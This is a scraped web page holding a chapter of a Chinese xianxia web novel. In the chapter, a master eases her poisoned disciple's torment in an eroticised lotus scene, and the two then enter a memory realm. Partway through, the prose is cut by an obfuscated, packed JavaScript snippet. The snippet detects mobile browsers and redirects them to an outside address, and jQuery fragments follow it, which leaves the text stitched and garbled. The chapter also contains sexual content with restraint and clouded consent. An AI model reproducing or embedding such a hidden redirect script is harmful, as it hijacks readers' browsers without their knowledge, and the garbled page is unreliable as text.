46. 花雪上仙gb
作品:《拼凑你的魂灵gb》 玉尘知道那条红色的腰带是什么了,他第一次见到师尊的时候,就是这条红绫化作了衣裳,遮蔽了躯体。
现在,红绫覆在脸上,朦朦胧胧,是红色的月。
他反着手臂抓师尊的手,手指不受控制地往袖袍里抚摸,他想用力可怕太用力捏疼了师尊,可轻轻抚摸又无法缓解他的激动,到头来,是进是退,不进不退。
另一只手再往上,他摸到了师尊的脖颈,那是他从来不敢光明正大看的,从来只敢偷偷瞟一眼,可现在,他竟然触碰到了。
他的指尖摸到了裂缝。
“师尊的身体,又出现裂缝了。”
“是,炼法器的时候消耗太大。”
他躺着没力气起来,也看不见,他只能用手看,用指尖勾勒那道伤痕。
“师尊,我体内的灵力在打架......好热......我好难受、师尊是凉的......师尊可以让我也变凉吗......”
“可以。”
身下似浪般动了动,他摸了摸,底下不再是坚硬的石头,而是柔软的花瓣,他没看见可他闻到了,是莲花的味道。
灵须从四周伸出,飘动,透明,似乎是花蕊。
他没有思考过,莲花会长花蕊吗?
也许吧。
喉部滚动着,他攥着师尊的手愈发用力,他的身和心仿佛堕入了地狱,而此间地狱名为,情爱。
如果是莲花,被欣赏,还是被采撷,都好,只要是师尊,什么都好。
被刺穿的手臂触碰到了温暖,是莲花裹住了伤口给他包扎,上方有透明的飘动的,细细软软,他忍不住起身追寻,可刚撑起又坠了下去。
太重了,压在肩膀的重量,是什么?
无形的有形的,是什么?
莲花是红色的吗,有红色的莲花吗?
是师尊的红绫。
掀开红绫,他现在大概是迷离的,他看不清师尊的样子,于是他又用尽力气抬起手臂,想碰师尊的唇。
“师尊,我好期待......也好欢喜......这样是不是不对,我不能期待......可我想,想要师尊做什么,我......我......”
他又想按一按师尊的眉眼,可他突然没了力气手臂下坠,像跟断掉的绳,但师尊接住了,她拉住了他的手。
“我看不清师尊的脸......也看不清师尊的眼......”
师尊拉起他的手,带着他的手指按上了她自己的眼。
轻轻移动,她让他用指腹描摹她的眉眼。
好满足,好欣喜......
花蕊缠住了四肢,花瓣包围身躯,身体仿佛被白莲拥抱,他感到了窒息,可是花瓣像师尊,摩挲抚摸,让人留恋。
他忍不住发颤,放松了身体又呼出一口呢喃,他想要更彻底更热烈的拥抱。
呼吸放缓,清香四溢,他陷进去了。
安心闭上眼,忽然,白莲花蕊顶部散出一股清凉灵力,而灵力进入了他体内。
微微皱起眉头,充盈感席卷,他觉得奇怪可又说不上奇怪。
曲起腿,身体不自觉紧绷又轻松,灵力间难以言喻的交融又带来一些满足,他感到这是温柔地开拓,他并不反感,他只觉得本是躁动又空虚的魂灵不知不觉间便被填满了,无声无息。
像师尊的偏爱,也是无声无息。
他听见自己的呼吸,一会急促似海浪,一会又沉寂似枯萎的花,他错了,灵力的交融并不那么顺利,那花蕊似乎在吸食他体内灵气,他感到一阵强烈的被拉扯感。
不自觉攥紧了手,他扭动了身体想要逃离,可他的手被师尊按住动弹不得,他忍不住呼喊。
渐渐地,耳边似乎有花妖的歌声,歌声盖过了他的呼喊,花妖在水中鸣唱,忽近忽远,吸引着他靠近,而一靠近他便会被花妖卷入水底,被吃抹干净。
一边被吸食灵气,一边被花妖拖入水,他颤抖着呜咽着想要寻到一条出路,可一旦出现他要躲的迹象,花蕊便会悉数卷上躯体将他牢牢禁锢。
恍然感觉有水珠划过脸,说不上有多难受,他其实觉得舒适,安心,欢喜,他想要沉沦在这份欢爱中,无休无止。
修士的身体很强大,风月不担心会弄伤玉尘,真正会伤害他的,是他自己。
用力拉下他掐着自己脖子的手,她用红绫捆起他的双手紧紧按住,可他似乎落入了某种自己的想象,迷离盯着莲花顶。
她化出了一朵巨大的白莲将他们包围其中。
探到他们三人灵力变化,她便猜出了一二,只是她不知,木华和珑霜中毒是因爱恨而相杀,为何到了玉尘这,却是他无意识地伤害自己。
她注视着玉尘,眼底灵光流转,每一次灵光变化身下花蕊便与灵光起伏呼应,它们宛若无数只柔软的手,勾着玉尘的腿帮他缓解欲毒的折磨。
欲毒好似炽热烈焰,她时不时让花蕊送去灵力平息他的燥热,可她不知是用错了法子还是玉尘无法承受她的力量,他抖得愈发厉害,忽然就发出一阵激烈呜咽。
她想引导玉尘控制自己的灵力,可一碰到他的脸便被他一口咬住手指,紧紧不放。
灼热的气息打进她掌心,她低头看着他一边哭一边笑,又紧皱眉头弓起了身。
好像疯魔。
可不一会,他又或许怕了,呜咽着大力摇头,盯着她的脸,朦胧的目光默默无声,他似乎是清醒的又似乎还在情爱中,拨开水雾后又清澈见底。
身体还在喘息,她看见他在抖在流汗在流泪,可他又咬着她的手指点头,点头又摇头。
白莲是风月自己绽放的,她掌控一切自然也感受一切,她能感受到玉尘的迎合和时有时无的抗拒,每当她退缩之时他便绞了上来皱着眉头不让她离去,她遵循他的意思前进之时他又会泪流躲避,大约和人的感情一样,你来我往,你进我退。
得不到却执着,放不下却迈不出更进一步,对有着强烈爱恨,强烈执念的人来说,这才是真正的毒。
玉尘陷入幻想神志不清,她不傻,她能判断出他的情之根源,是她。
可她似乎无法体会他的心情,也无法理解他的痛苦,更无法回应,她只能用最直接的方式表达,让他感受最短暂的解脱,而后继续痛苦,继续空虚。
她忽然就帮不了她的弟子了。
柳枝拂在水面上,簌簌挲挲,一阵春风起,他忽然惊醒。
昏暗,阴冷,潮湿的山洞内,他躺在石床上,一个人,转头,师尊不在。
伤了的手臂被包扎了起来,他身上衣着除了有些脏和破损还算整齐,一旁槐花剑静静躺着似乎什么都没有看见,他还是他。
是噩梦吗?师尊没有来救他们吗?木华和珑霜呢?
心情又开始焦急,他下了石床却一阵腿软,没走两步便跪倒在地。
体内灵力依旧混乱,毒气也跟着一同作乱,甚至身体酸软使不上劲。
他一愣,既然体内有毒,那便意味着,他改变了,改变了那个木华和珑霜自相残杀,被魔族趁虚而入的未来,他们活下来了,师尊也不会堕魔了,他成功了。
盯着自己的手背,他忍不住笑了起来。
“在笑什么?”
清风般的声音飘落下来,他忽然一怔,缓缓抬头,是师尊,她站在山洞口挡住了刺眼的光,她走到了他面前,她又来救他了。
“师尊,是你吗?”
“是。”
他怔怔仰着头,那淫|邪的一幕幕忽然出现在脑海,他的话,师尊的话,他变得不像他了,可师尊还是师尊,她在纵容他。
一瞬间,全身都烧了起来,他睁大眼顿时哑了声。
化出寒气拍在脸上,他僵硬地问:“师尊,我、我对师尊做了什么吗?”
“什么?”
“我、我......师兄和师姐中了欲魔的毒......我吸走了......可是毒被催发了......师尊来了......”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118948|193190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他蜷紧了十指磕磕绊绊道明原委,他对师尊是有感情,他是渴望师尊,可他不希望那样的自己被师尊看见,更不希望那样的自己能得到师尊的包容。
风月蹲到他面前,探查了下他体内灵力和手臂的伤,缓缓道:“你承受不了这么满的力量,神智不清昏昏沉沉,师尊带你躲避重宁的追杀但无意间闯进了这里,你昏迷了很长时间,师尊散去了你一部分灵力,你这才能够醒来。”
听到这话,他松了口气,一切还是可控的,他总算安心了一些。
可得到答案后,他心底又羞愧地希望那些噩梦是真的,若是真的,那他也算卑劣地,短暂地得到了师尊的感情。
“起来吧。”
手臂被拉起,他跟着师尊离开了山洞。
视野忽然开阔,他愣愣四望,这里有山有水,不远处的湖泊映射着粼粼波光,湖旁有间木屋,木屋前有一排柳树,这会柳枝被拂起,宛若无数青丝,可以说是山清水秀,灵气充沛。
可在此之外,他同样感受到了一股强大的灵压。
“师尊,这里是哪?”
“大概,是秘境中的秘境,这里存在一段记忆。”
玉尘惊讶:“是谁的记忆?我们怎么会来这?”
师尊朝外走去,他便跟上。
“这个秘境很可能是某个魔尊遗留下的,快要消散时被重宁找到了,他修改了槐花空间的入口,要对付我。”
他拧眉:“又是重宁,他为什么抓着师尊不放?”
“讨厌我吧。”
只是讨厌就耍阴谋对付师尊,还要杀木华珑霜?
当真是魔性,该死。
“对了,师兄和师姐呢?”
“收进镜中了,这里灵压大,暂时无法将他们放出来。”
玉尘点点头,越靠近木屋他越能感受到灵压的存在,突然,他看向风月脖颈,磬翎须环正正戴在颈间。
“师尊的分身......”
“师父!我回来啦!”
一道清脆的孩童呼喊从身后传来,玉尘回头,一个看起来只有十岁的孩子提着两只野兔兴冲冲跑进了木屋。
他跟在孩子身后,但发现师尊原地不动。
“师父,今天有大餐吃!”
“我不用吃饭,也没有收你为徒。”
木屋里的回应语气淡淡,光是听着便有一股疏离之感。
他心神一动,走进了木屋。
然后,他看见了一个女子。
白衣束袖,身背长剑,神情淡漠,是常见的剑修模样。
他心如擂鼓。
“啊——我不管!你的雷把我劈成这样,你要对我负责!”
那孩子后退一步,指着她大声不满,但见对女子没什么用又换上了小心谄媚的模样。
“那你好歹等我恢复原样了再走嘛,横竖我是受你牵连才被劈成这样的,我现在修为全无,记忆也丢了,那些修士一来我就死定了,你忍心让我一个小孩子被那么多人围攻嘛?”
他这一说,女子果然动了眉头。
“你多久恢复?”
“我也不知道,可能一年,可能两年?求求你了嘛,反正你成仙了,时间对你来说已经没有意义了,你就当做做好事收我为徒吧,行吗?”
那孩子含糊其辞但提到拜师收徒却坚持不退,女子认真思量起来,竟然松了口。
她叹了口气:“好吧,到你长大为止。”
扑通一声,那孩子双膝一跪,大喊:“师父在上!我......师父,我什么排行?”
女子摇头:“没有排行,我没有弟子。”
“那我是首徒啊,师父给我取个名字吧。”
女子犹豫:“我不会取名。”
“那就随便取一个,反正我现在没有名字。”
女子四处张望,抬头看柳,低头看拜师,回头又往屋子里看了看,最后迟疑道:“无尘?”
“弟子无尘,拜见花雪上仙!”

